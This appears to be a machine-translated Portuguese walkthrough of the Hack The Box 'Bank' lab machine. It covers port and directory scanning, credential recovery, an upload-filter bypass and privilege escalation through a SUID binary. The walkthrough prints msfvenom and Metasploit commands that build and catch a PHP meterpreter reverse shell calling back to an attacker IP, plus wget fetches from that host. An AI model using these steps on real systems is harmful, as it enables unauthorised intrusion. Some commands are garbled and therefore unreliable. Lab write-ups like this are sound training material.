Mantenha a calma e corte a caixa

O banco é uma máquina relativamente simples, no entanto, a enumeração adequada da web é essencial para encontrar os dados necessários para a entrada

Usaremos as seguintes ferramentas para penhorar a caixa em um Caixa Kali Linux:

  • nmap
  • gobuster
  • Exploração de pesquisa
  • msfconsole
  • metasploit
  • meterperter
  • LinEnum

Vamos começar.

Etapa 1 – Reconhecimento

O primeiro passo antes de explorar uma máquina é fazer um pouco de escaneamento e reconhecimento.

Essa é uma das partes mais importantes, pois determinará o que você pode tentar explorar posteriormente. É sempre melhor gastar mais tempo nessa fase para obter o máximo de informações possível.

Port scan

Vou usar o Nmap (Network Mapper). O Nmap é um utilitário gratuito e de código aberto para descoberta de rede e auditoria de segurança. Ele usa pacotes IP brutos para determinar quais hosts estão disponíveis na rede, quais serviços esses hosts estão oferecendo, quais sistemas operacionais estão executando, que tipo de filtros / firewalls de pacotes estão em uso e dezenas de outras características.

Existem muitos comandos que você pode usar com esta ferramenta para verificar a rede. Se você quiser saber mais sobre isso, consulte a documentação aqui.

Eu uso o seguinte comando para executar uma verificação intensiva:

nmap -A -v bank.htb

-UMA: Ativar detecção de SO, detecção de versão, varredura de script e traceroute

-v: Aumentar o nível de verbosidade

bank.htb: nome do host da caixa Banco

Se você achar os resultados um pouco exagerados, poderá executar outro comando para obter apenas as portas abertas.

nmap bank.htb

Podemos ver que existem 3 portas abertas:

Porta 22, Secure Shell (SSH), logins seguros, transferências de arquivos (scp, sftp) e encaminhamento de porta

Porta 53, Sistema de nomes de domínio (DNS)

Porta 80, usado com mais frequência pelo HTTP (Hypertext Transfer Protocol)

Verificação de diretório

Eu uso Gobuster. Gobuster é um scanner de diretório escrito em Go. Mais informações sobre a ferramenta aqui. O Gobuster usa listas de palavras no Kali, localizadas no / usr / share / listas de palavras diretório. Estou usando listas de palavras de dirb e dirbuster, mas você pode baixar mais listas de palavras em SecLists aqui

Eu uso este comando para a lista de palavras dirb common.txt

gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt

Eu posso ver algumas pastas interessantes. Eu faço outra varredura de diretório com uma lista de palavras diferente.

gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Etapa 2 – Visitar a página da web

Desde a fase de reconhecimento, decido começar pela porta 80. Aponta para uma página Apache2 Ubuntu Default. Precisamos definir o nome do host. Seguiremos a convenção padrão para as máquinas HTB, bank.htb

Eu adiciono banco no arquivo / etc / hosts

nano /etc/hosts

com

10.10.10.29     bank.htb

Eu verifico o arquivo com

cat /etc/hosts

Quando navego para bank.htb, posso ver uma página de login agora

Desde o reconhecimento do cálice, encontrei algumas pastas. Eu navego para / transferência de saldo

Eu dou uma olhada em alguns arquivos. Todos os arquivos parecem ter o nome completo, email e senha criptografados.

Volto à página principal e clico no Tamanho guia para classificar as transferências. Eu posso ver que um dos arquivos é diferente

Quando clico no arquivo, vejo uma mensagem de erro na parte superior. A criptografia falhou para este arquivo. Eu posso ver todos os detalhes em texto simples

Volto ao painel de login e insiro as credenciais. Agora tenho acesso ao painel do banco HTB. Nada interessante nesta página, então eu passo para o Apoio, suporte página

Na página Suporte, posso carregar arquivos. Vou tentar fazer upload de uma carga útil

Etapa 3 – Usando o MSFvenom para criar uma exploração

Usaremos o MSFvenom, que é um gerador de carga útil. Você pode aprender mais sobre isso aqui

Mas primeiro, vamos ver no Estrutura Metasploit qual carga útil poderíamos usar para criar nossa exploração

Sabemos que precisamos criar um escudo reverso, que é um tipo de shell no qual a máquina de destino se comunica de volta com a máquina atacante. A máquina atacante possui uma porta de ouvinte na qual recebe a conexão que, usando o código ou a execução do comando, é alcançada.

https://resources.infosecinstitute.com/icmp-reverse-shell/

O shell TCP reverso deve ser para PHP e usaremos Meterpreter

No site de Segurança ofensiva, obtemos esta definição para Meterpreter

O Meterpreter é uma carga útil avançada e dinamicamente extensível que usa em memória Estágios de injeção de DLL e é estendido pela rede em tempo de execução. Ele se comunica pelo soquete stager e fornece uma API Ruby abrangente do lado do cliente. Possui histórico de comandos, conclusão de guias, canais e muito mais.

Você pode ler mais sobre o Meterpreter aqui

Eu lanço Metasploit e procure por cargas reversas de TCP. Eu uso o seguinte comando

search php meterpreter reverse_tcp

Acho uma carga útil interessante, número 594, que é uma Stager reverso de TCP. Essa carga injeta a DLL do servidor meterpreter por meio da carga reflexiva de injeção de DLL e se conecta novamente ao invasor

payload/php/meterpreter/reverse_tcp

Agora vamos voltar para msfvenom para criar nossa façanha

Eu uso o seguinte comando

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw > HTBbankshell.php

Eu então verifico com ls se o arquivo foi criado

e eu cat o arquivo para ver a exploração com

cat HTBbankshell.php

Volto à página de suporte. Acrescento o título, a mensagem e carrego o arquivo no formulário

Clico no botão enviar e vejo uma mensagem de erro. O tipo de arquivo não parece funcionar

Verifico o código fonte e vejo um comentário que indica que a extensão do arquivo .htb é necessário para executar o php apenas para fins de depuração

Em seguida, altero a extensão da minha carga útil de HTBbankshell.php para HTBbankshell.htb

Meu arquivo agora está pronto para ser carregado na página de suporte

E parece que funciona! A carga foi carregada na página de suporte

De volta ao Metasploit, onde uso o seguinte comando para definir o manipulador de carga útil

use exploit/multi/handler

Primeiro configurei a carga

set payload php/meterpreter/reverse_tcp

Então o LHOST

set lhost 10.10.14.36

E finalmente o LPORT

set lport 4444

Se verificarmos as opções agora, devemos ver que tudo está configurado

Vamos executar a exploração.

Após esta mensagem aparecer

Started reverse TCP handler on 10.10.14.36:4444

volte ao navegador e atualize a página em que o script malicioso está hospedado

bank.htb/uploads/HTBbankshell.php

Você deve ver uma sessão Meterpreter criada

Começo reunindo algumas informações com getuid que retorna o ID do usuário real do processo de chamada e sysinfo

Etapa 5 – procurando o sinalizador user.txt

Começo a navegar para o root e listo as pastas / arquivos.

Eu mudo para o casa diretório com

cd home

E eu posso ver um usuário chamado chris

Eu mudo para o chris diretório e quando eu listar os arquivos …

Eu acho o user.txt Arquivo! Para ler o conteúdo do arquivo, eu uso o comando

cat user.txt

Agora que temos a bandeira do usuário, vamos encontrar a bandeira raiz!

Etapa 6 – Executando o escalonamento de privilégios

Eu tento navegar para a pasta raiz e o acesso é negado

usarei LinEnum para enumerar mais informações desta máquina. LinEnum é usado para enumeração Linux com script local e verificações de escalonamento de privilégios. Mais informações aqui

Busco LinEnum de GitHub com

wget https://https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Verifico com este comando se o script foi buscado corretamente

ls -la

Eu uso o seguinte comando

chmod 777 LinEnum.sh

alterar a permissão do arquivo e torná-lo legível, gravável e executável por todos

Dentro do meterpreter, verifico a localização do arquivo com

lls -S "LinEnum.sh"

Inicio um servidor php em outro terminal com

php -S 10.10.14.36:4444

Digite o seguinte comando para obter um shell padrão no sistema de destino

shell

Eu criei um shell TTY com

python3 -c 'import pty;pty.spawn("/bin/bash/")'

E transfiro o arquivo para a máquina com

wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh

onde copio o arquivo da minha caixa Kali para a pasta temp da máquina

Navego até a pasta temporária para verificar se o arquivo foi movido corretamente

Então eu executo o script com

sh ./LinEnum.sh

A digitalização me fornece muitas informações. Eu procuro o arquivos interessantes seção. Eu verifico o Arquivos SUID seção. SUID é definido como dar permissões temporárias a um usuário para executar um programa / arquivo com as permissões do proprietário do arquivo, em vez do usuário que o executa

Vejo um arquivo interessante

/var/htb/bin/emergency

Eu navego para var / htb / emergência

Eu corro com

./emergency

e me perguntam se eu quero obter um shell raiz 🙂

Eu tenho acesso root à máquina

Agora posso navegar para o raiz pasta

Eu acho o root.txt Arquivo!

Para ler o conteúdo do arquivo, eu uso o comando

cat root.txt

Parabéns! Você encontrou as duas bandeiras!


Não hesite em comentar, fazer perguntas ou compartilhar com seus amigos 🙂

Você pode ver mais dos meus artigos aqui

Você pode me seguir Twitter ou em LinkedIn

E não se esqueça de #GetSecure, #BeSecure & #StaySecure!


Outros artigos da Hack The Box